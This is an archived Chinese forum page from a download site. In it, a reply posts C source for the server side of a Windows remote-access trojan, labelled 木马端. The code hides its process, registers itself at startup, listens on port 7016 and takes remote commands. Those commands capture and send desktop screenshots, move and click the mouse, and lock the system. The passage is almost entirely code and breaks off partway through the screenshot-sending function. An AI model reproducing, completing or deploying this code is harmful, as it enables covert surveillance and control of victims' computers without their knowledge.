⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 subject_22952.htm

📁 一些关于vc的问答
💻 HTM
📖 第 1 页 / 共 3 页
字号:
<blockquote><p>
回复者:小菜瓜 回复日期:2002-11-30 13:56:57
<br>内容:这是别人的代码:<BR><BR>木马端:<BR><BR>///////////////////////////////////////////////////////////////////<BR>// Project&nbsp;&nbsp;: WindowSock Client <BR>// Producer : WangQi<BR>// Date&nbsp;&nbsp;&nbsp;&nbsp; : 2001/04<BR>///////////////////////////////////////////////////////////////////<BR><BR>#include "stdafx.h"<BR><BR>//Defien Const<BR>#define MAJOR_VERSION 1<BR>#define MINOR_VERSION 2<BR>#define WM_SOCK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 280<BR>#define US_MAXSIZE&nbsp;&nbsp;&nbsp;&nbsp;1024<BR><BR>#define US_FLAG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9999<BR>#define US_MOUSEMOVE&nbsp;&nbsp;2000<BR>#define US_MOUSELD&nbsp;&nbsp;&nbsp;&nbsp;3100<BR>#define US_MOUSELU&nbsp;&nbsp;&nbsp;&nbsp;3200<BR>#define US_MOUSERD&nbsp;&nbsp;&nbsp;&nbsp;4100<BR>#define US_MOUSERU&nbsp;&nbsp;&nbsp;&nbsp;4200<BR><BR>#define US_DESKTOPBIT 5000<BR><BR>#define US_LOCK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6100<BR>#define US_UNLOCK&nbsp;&nbsp;&nbsp;&nbsp; 6200&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR>//Define Variable<BR>struct sockaddr_in dstclient_addr;<BR>SOCKET ClientSock;<BR>SOCKET NewSock;<BR>int&nbsp;&nbsp;&nbsp;&nbsp;SysHeight;<BR>int&nbsp;&nbsp;&nbsp;&nbsp;SysWidth;<BR>BOOL&nbsp;&nbsp; LockFlag = FALSE;<BR><BR>//Define Function<BR>BOOL InISock();<BR>BOOL ConnectSock();<BR>BOOL GetData();<BR>BOOL AcceptData();<BR>BOOL Register();<BR>HBITMAP GetSrcBit(DWORD BitWidth,DWORD BitHeight);<BR>HANDLE DDBtoDIB(HBITMAP hBitmap);<BR>POINT GetMousePoint();<BR>void SendDesktop();<BR>void Msg(LPCTSTR sMsg);<BR>void MouseMove(POINT point);<BR>void MouseLD(POINT point);<BR>void MouseRD(POINT point);<BR>void MouseLU(POINT point);<BR>void MouseRU(POINT point);<BR>void SysEvent(int Msg);<BR>void Lock(BOOL bFALG);<BR>void HideProcess();<BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: WinMain()<BR>// Parameter : HINSTANCE hInstance,HINSTANCE hPrevInstance,<BR>//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPSTR lpCmdLine,int nCmdShow<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: INT<BR>///////////////////////////////////////////////////////////////////<BR><BR>int APIENTRY WinMain(HINSTANCE hInstance,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HINSTANCE hPrevInstance,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LPSTR&nbsp;&nbsp;&nbsp;&nbsp; lpCmdLine,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;MSG msg;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Register<BR>&nbsp;&nbsp;&nbsp;&nbsp;Register();<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Hide in Process<BR>&nbsp;&nbsp;&nbsp;&nbsp;HideProcess();<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Initialization Winsock<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (!InISock())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Connect Winsock<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (!ConnectSock())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//GetData<BR>&nbsp;&nbsp;&nbsp;&nbsp;while(true)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//AcceptData<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!AcceptData())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WSACleanup();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//GetMesage<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!GetData())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Initialization Winsock<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!InISock())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Connect Winsock<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!ConnectSock())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Release Data<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(NewSock);&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;return msg.wParam;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: InIScok()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: TURE OR FALSE<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL InISock()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Variable Define<BR>&nbsp;&nbsp;&nbsp;&nbsp;int Status;<BR>&nbsp;&nbsp;&nbsp;&nbsp;WORD wMajorVersion,wMinorVersion;<BR>&nbsp;&nbsp;&nbsp;&nbsp;WORD wVersionReqd;<BR>&nbsp;&nbsp;&nbsp;&nbsp;WSADATA lpmyWSAData;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//InI Winsock<BR>&nbsp;&nbsp;&nbsp;&nbsp;wMajorVersion = MAJOR_VERSION;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wMinorVersion = MINOR_VERSION;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wVersionReqd = MAKEWORD(wMajorVersion,wMinorVersion);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Startup WinSock<BR>&nbsp;&nbsp;&nbsp;&nbsp;Status = WSAStartup(wVersionReqd,&amp;lpmyWSAData);&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (Status != 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: ConnectSock()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: TURE OR FALSE<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL ConnectSock()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;int Status;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Socket<BR>&nbsp;&nbsp;&nbsp;&nbsp;ClientSock = socket(AF_INET,SOCK_STREAM,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (ClientSock==INVALID_SOCKET)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;dstclient_addr.sin_family = PF_INET;<BR>&nbsp;&nbsp;&nbsp;&nbsp;dstclient_addr.sin_port = htons(7016);<BR>&nbsp;&nbsp;&nbsp;&nbsp;dstclient_addr.sin_addr.s_addr = INADDR_ANY;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//BIND<BR>&nbsp;&nbsp;&nbsp;&nbsp;Status = bind(ClientSock,(struct sockaddr far *)&amp;dstclient_addr,sizeof(dstclient_addr));<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (Status != 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//LISTEN<BR>&nbsp;&nbsp;&nbsp;&nbsp;Status = listen(ClientSock,1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (Status != 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR><BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: Accept()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: BOOL<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL AcceptData()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//ACCEPT<BR>&nbsp;&nbsp;&nbsp;&nbsp;int len = sizeof(dstclient_addr);<BR>&nbsp;&nbsp;&nbsp;&nbsp;NewSock = accept(ClientSock,(struct sockaddr far *)&amp;dstclient_addr,&amp;len);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (NewSock &lt; 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(ClientSock);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//GetSCREEN<BR>&nbsp;&nbsp;&nbsp;&nbsp;SysWidth&nbsp;&nbsp;= GetSystemMetrics(SM_CXSCREEN);<BR>&nbsp;&nbsp;&nbsp;&nbsp;SysHeight = GetSystemMetrics(SM_CYSCREEN);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: GetData()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: BOOL<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL GetData()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Define Variable<BR>&nbsp;&nbsp;&nbsp;&nbsp;int iMsg,length;<BR>&nbsp;&nbsp;&nbsp;&nbsp;POINT point;<BR>&nbsp;&nbsp;&nbsp;&nbsp;int FALG;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Send Falg<BR>&nbsp;&nbsp;&nbsp;&nbsp;FALG = US_FLAG;<BR>&nbsp;&nbsp;&nbsp;&nbsp;send(NewSock,(char*)&amp;FALG,sizeof(FALG)+1,MSG_OOB);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Get Message<BR>&nbsp;&nbsp;&nbsp;&nbsp;length = recv(NewSock,(char*)&amp;iMsg,sizeof(iMsg)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (length &lt; 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//Close Sock<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(NewSock);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;closesocket(ClientSock);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//GetMessageData<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (iMsg &lt; 4500)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MouseEvent<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(NewSock,(char*)&amp;SysWidth,sizeof(SysWidth)+1,MSG_OOB);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(NewSock,(char*)&amp;SysHeight,sizeof(SysHeight)+1,MSG_OOB);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;point = GetMousePoint();<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;switch(iMsg)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_DESKTOPBIT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SendDesktopBitmap<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendDesktop();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_MOUSEMOVE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MouseMove<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MouseMove(point);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_MOUSELD:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MouseLeftDown<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MouseLD(point);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_MOUSELU:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MouseLeftUp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MouseLU(point);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_MOUSERD:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MouseRightDown<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MouseRD(point);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_MOUSERU:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MouseRightUp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MouseRU(point);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_LOCK:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SysEvent(US_LOCK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_UNLOCK:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SysEvent(US_UNLOCK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: GetMousePoint<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT<BR>///////////////////////////////////////////////////////////////////<BR>POINT GetMousePoint()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//variable define<BR>&nbsp;&nbsp;&nbsp;&nbsp;int x,y;<BR>&nbsp;&nbsp;&nbsp;&nbsp;int lenx,leny;<BR>&nbsp;&nbsp;&nbsp;&nbsp;POINT point;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;lenx = recv(NewSock,(char*)&amp;x,sizeof(x)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;leny = recv(NewSock,(char*)&amp;y,sizeof(y)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;point.x = x;<BR>&nbsp;&nbsp;&nbsp;&nbsp;point.y = y;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return point;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: MouseMove()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseMove(POINT point)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;SetCursorPos(point.x,point.y);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: MouseLD()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseLD(POINT point)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;mouse_event(MOUSEEVENTF_LEFTDOWN,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: MouseLU()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseLU(POINT point)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;mouse_event(MOUSEEVENTF_LEFTUP,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: MouseRD()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseRD(POINT point)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;mouse_event(MOUSEEVENTF_RIGHTDOWN,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: MouseRU()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void MouseRU(POINT point)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;mouse_event(MOUSEEVENTF_RIGHTUP,point.x,point.y,0,0);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: Msg()<BR>// Parameter : LSPSTR sMsg<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: NULL<BR>///////////////////////////////////////////////////////////////////<BR><BR>void Msg(LPCTSTR sMsg)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(GetActiveWindow(),sMsg,"err",MB_OK);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: GetSrcBit()<BR>// Parameter : DWORD BitWidth,DWORD BitHeight<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: HBITMAP<BR>///////////////////////////////////////////////////////////////////<BR><BR>HBITMAP GetSrcBit(DWORD BitWidth,DWORD BitHeight)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Define Variable<BR>&nbsp;&nbsp;&nbsp;&nbsp;HDC hdcmy,hbufferdc;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HBITMAP&nbsp;&nbsp;hBit,hOldBitmap;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Create DesktopDC<BR>&nbsp;&nbsp;&nbsp;&nbsp;hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;hbufferdc = CreateCompatibleDC(hdcmy);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Create Hbitmap<BR>&nbsp;&nbsp;&nbsp;&nbsp;hBit = CreateCompatibleBitmap(hdcmy, BitWidth, BitHeight);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Get bit to Buffer<BR>&nbsp;&nbsp;&nbsp;&nbsp;hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);<BR>&nbsp;&nbsp;&nbsp;&nbsp;StretchBlt(hbufferdc, 0, 0, BitWidth, BitHeight,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hdcmy, 0, 0,SysWidth,SysHeight, SRCCOPY);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Get finally bit<BR>&nbsp;&nbsp;&nbsp;&nbsp;hBit = (HBITMAP)SelectObject(hbufferdc, hOldBitmap);<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Release Memory<BR>&nbsp;&nbsp;&nbsp;&nbsp;DeleteObject(hOldBitmap);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ReleaseDC(NULL,hdcmy);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ReleaseDC(NULL,hbufferdc);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return hBit;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: SendDesktop()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: NULL<BR>///////////////////////////////////////////////////////////////////<BR><BR>void SendDesktop() <BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Define Variable<BR>&nbsp;&nbsp;&nbsp;&nbsp;int BitMsg;<BR>&nbsp;&nbsp;&nbsp;&nbsp;LPBYTE plmagePoint;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hDib;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HBITMAP hBit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;int BitHeight,BitWidth;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Get Bit Height and Widht<BR>&nbsp;&nbsp;&nbsp;&nbsp;recv(NewSock,(char*)&amp;BitWidth,sizeof(BitWidth)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;recv(NewSock,(char*)&amp;BitHeight,sizeof(BitHeight)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (BitWidth &gt; SysWidth)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BitWidth = SysWidth;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (BitHeight &gt; SysHeight)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BitHeight = SysHeight;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Cover Desktop HDC to HBITMAP<BR>&nbsp;&nbsp;&nbsp;&nbsp;hBit = GetSrcBit(BitWidth,BitHeight);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//DDBtoDIB<BR>&nbsp;&nbsp;&nbsp;&nbsp;hDib = DDBtoDIB(hBit);<BR>&nbsp;&nbsp;&nbsp;&nbsp;DWORD bitSize = GlobalSize(hDib);<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Send Bit 